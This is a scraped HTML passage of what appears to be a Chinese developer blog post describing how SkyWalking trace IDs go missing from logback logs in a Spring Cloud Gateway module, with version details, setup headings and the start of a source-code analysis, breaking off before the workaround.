href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">解决SkyWalking在gateway中logback链路丢失</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-026c5c2136044c0aa13cccb9208e4815"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-84e0b4e44d094735852f62349007a189"><a href="#b267e4d3fa9749ee869b7703ce772c53" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#2ec1c825217c429bafee6caa19a43975" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">场景复现</span></a><a href="#f6a2e306a7904fcbaf1294ccdb9d0d7f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">版本</span></a><a href="#9664075baae9443c947fc212527f54e8" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">skyWalking环境搭建</span></a><a href="#9fc64fb0a43a4bdfb9dd61425023bb8c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">agent目录配置</span></a><a href="#e043a3848bde4de79a5037602c2ed361" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">maven依赖</span></a><a href="#c4c8d23c69ee490b9a740eeb131c14fb" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">项目运行配置</span></a><a href="#b4ef4f0c8378421ca55f90c3a012fe29" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">logback配置</span></a><a href="#0166e46c5c22492485c8358ee4206ae2" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">gateway模块请求日志打印代码</span></a><a href="#4fdd346fce9949d6a7c7728734284e76" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">user模块测试代码</span></a><a href="#733c637e92ba488987a7f84308daeb66" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">访问测试</span></a><a href="#97e7928fbe5143d0b14d05127bbeff35" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">尝试解决</span></a><a href="#e325c70ef58c478c90b8eccec3b5d808" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">分析问题</span></a><a href="#754bfdec4110434d855ba46fd419c980" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">曲线救国</span></a><a href="#819553b3aee84c8eba690120fe69cbd4" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">验证</span></a><a href="#65fc421bdc9a4a4cb3b1739e002e5d8d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#19e3bbae2412427bb58b07013f336d4e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b267e4d3fa9749ee869b7703ce772c53" data-id="b267e4d3fa9749ee869b7703ce772c53"><span><div id="b267e4d3fa9749ee869b7703ce772c53" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b267e4d3fa9749ee869b7703ce772c53" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-a2da58b37dae488980592522ed89c7f6"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text"><b>吴晟大佬:</b>Why ping me? The plugin is not written by me. I don&#x27;t know anything about agent running in Spring cloud.</div></div><div class="notion-text notion-block-a1dcafde033c49a89442bd22aa378568">一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ddda7846980f4721a3b4b2953d261af9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F96bded73-53ce-4eb0-8549-7899d58355c5%2FUntitled.png?table=block&amp;id=ddda7846-980f-4721-a3b4-b2953d261af9&amp;t=ddda7846-980f-4721-a3b4-b2953d261af9" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ec1c825217c429bafee6caa19a43975" data-id="2ec1c825217c429bafee6caa19a43975"><span><div id="2ec1c825217c429bafee6caa19a43975" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ec1c825217c429bafee6caa19a43975" title="场景复现"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">场景复现</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-f6a2e306a7904fcbaf1294ccdb9d0d7f" data-id="f6a2e306a7904fcbaf1294ccdb9d0d7f"><span><div id="f6a2e306a7904fcbaf1294ccdb9d0d7f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f6a2e306a7904fcbaf1294ccdb9d0d7f" title="版本"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">版本</span></span></h3><ul class="notion-list notion-list-disc notion-block-9b023386b08f4aa6bef7896a31790d84"><li>spring-cloud-gateway-dependencies = 3.1.3</li></ul><ul class="notion-list notion-list-disc notion-block-53025e5860414a0fa4ec5a552adfeaf2"><li>skywalking-oap-server:9.3.0</li></ul><ul class="notion-list notion-list-disc notion-block-a041e2844a45412eb3984a7ed69c1c37"><li>skywalking-ui:9.3.0</li></ul><ul class="notion-list notion-list-disc notion-block-849e88155eee4e86a63f20722b7aa995"><li>apache-skywalking-java-agent:9.0.0</li></ul><ul class="notion-list notion-list-disc notion-block-5bfd9a27789841d8b8911bbc13be8d85"><li>假设有gateway+user两个模块</li></ul><div class="notion-blank notion-block-24317eef356b473cb5c48ee8ec9f3ff4"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-9664075baae9443c947fc212527f54e8" data-id="9664075baae9443c947fc212527f54e8"><span><div id="9664075baae9443c947fc212527f54e8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9664075baae9443c947fc212527f54e8" title="skyWalking环境搭建"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">skyWalking环境搭建</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-9fc64fb0a43a4bdfb9dd61425023bb8c" data-id="9fc64fb0a43a4bdfb9dd61425023bb8c"><span><div id="9fc64fb0a43a4bdfb9dd61425023bb8c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9fc64fb0a43a4bdfb9dd61425023bb8c" title="agent目录配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">agent目录配置</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e043a3848bde4de79a5037602c2ed361" data-id="e043a3848bde4de79a5037602c2ed361"><span><div id="e043a3848bde4de79a5037602c2ed361" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e043a3848bde4de79a5037602c2ed361" title="maven依赖"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">maven依赖</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-c4c8d23c69ee490b9a740eeb131c14fb" data-id="c4c8d23c69ee490b9a740eeb131c14fb"><span><div id="c4c8d23c69ee490b9a740eeb131c14fb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#c4c8d23c69ee490b9a740eeb131c14fb" title="项目运行配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">项目运行配置</span></span></h3><div class="notion-text notion-block-66f7b00c2f1b42a0af571ff1d633f955">gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1a36dd47525242f6ade280ed742fb9f4"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F8cbe5b42-7099-4ebd-bf21-ca0240e5932e%2FUntitled.png?table=block&amp;id=1a36dd47-5252-42f6-ade2-80ed742fb9f4&amp;t=1a36dd47-5252-42f6-ade2-80ed742fb9f4" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-4caba176ac584988b755471afac1a52d"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-b4ef4f0c8378421ca55f90c3a012fe29" data-id="b4ef4f0c8378421ca55f90c3a012fe29"><span><div id="b4ef4f0c8378421ca55f90c3a012fe29" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b4ef4f0c8378421ca55f90c3a012fe29" title="logback配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">logback配置</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-0166e46c5c22492485c8358ee4206ae2" data-id="0166e46c5c22492485c8358ee4206ae2"><span><div id="0166e46c5c22492485c8358ee4206ae2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0166e46c5c22492485c8358ee4206ae2" title="gateway模块请求日志打印代码"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">gateway模块请求日志打印代码</span></span></h3><div class="notion-text notion-block-c8b1acfb25784b1d83ee6f622e1bd843">就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回</div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-4fdd346fce9949d6a7c7728734284e76" data-id="4fdd346fce9949d6a7c7728734284e76"><span><div id="4fdd346fce9949d6a7c7728734284e76" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4fdd346fce9949d6a7c7728734284e76" title="user模块测试代码"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">user模块测试代码</span></span></h3><div class="notion-blank notion-block-c6104167a4564af4b62ad87bd0dc5b7f"> </div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-733c637e92ba488987a7f84308daeb66" data-id="733c637e92ba488987a7f84308daeb66"><span><div id="733c637e92ba488987a7f84308daeb66" class="notion-header-anchor"></div><a class="notion-hash-link" href="#733c637e92ba488987a7f84308daeb66" title="访问测试"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">访问测试</span></span></h3><div class="notion-text notion-block-f698fa80fe584beca2aa0afc33e8ffc7">通过网关访问testSkywalking测试结果如下</div><div class="notion-text notion-block-5132098dd3aa4e40ae840408e95d1039">gateway日志</div><div class="notion-text notion-block-7bba347042ba431c9d6349968c4ac543">user日志</div><blockquote class="notion-quote notion-block-91afc304892f42d3bbccbb59e4fdd8d8"><div>可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A</div></blockquote><div class="notion-blank notion-block-d9b07a77544145738a13db4be5c3ea3b"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-97e7928fbe5143d0b14d05127bbeff35" data-id="97e7928fbe5143d0b14d05127bbeff35"><span><div id="97e7928fbe5143d0b14d05127bbeff35" class="notion-header-anchor"></div><a class="notion-hash-link" href="#97e7928fbe5143d0b14d05127bbeff35" title="尝试解决"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">尝试解决</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e325c70ef58c478c90b8eccec3b5d808" data-id="e325c70ef58c478c90b8eccec3b5d808"><span><div id="e325c70ef58c478c90b8eccec3b5d808" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e325c70ef58c478c90b8eccec3b5d808" title="分析问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">分析问题</span></span></h3><div class="notion-text notion-block-584a5e58491140f7b4e867a14b578ba7">首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java">https://github.com/apache/skywalking/blob/v8.7.0/</a>。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:</div><div class="notion-text notion-block-4b0d4b9bc2e64faba1b401a7857bc706">apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java</div><div class="notion-text notion-block-66932228ed81493fad40f0cfa8a859d9">观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。</div><div class="notion-text notion-block-30bbe27008974876b780500241acd206">Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-a70ffef7587f481eb2efc8635aa19049"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fdf0f3803-b946-4f27-8edd-749909bb63b2%2FUntitled.png?table=block&amp;id=a70ffef7-587f-481e-b2ef-c8635aa19049&amp;t=a70ffef7-587f-481e-b2ef-c8635aa19049" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-754bfdec4110434d855ba46fd419c980" data-id="754bfdec4110434d855ba46fd419c980"><span><div id="754bfdec4110434d855ba46fd419c980" class="notion-header-anchor"></div><a class="notion-hash-link" href="#754bfdec4110434d855ba46fd419c980" title="曲线救国"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 